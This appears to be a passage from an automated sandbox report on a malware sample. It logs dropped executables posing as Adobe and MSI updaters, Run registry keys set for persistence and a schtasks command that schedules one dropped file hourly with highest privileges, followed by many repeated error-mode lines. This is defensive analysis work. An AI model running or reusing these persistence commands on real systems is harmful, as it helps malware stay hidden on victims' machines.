Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR" /sc HOURLY /rl HIGHEST

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004EE170 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004EE170

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
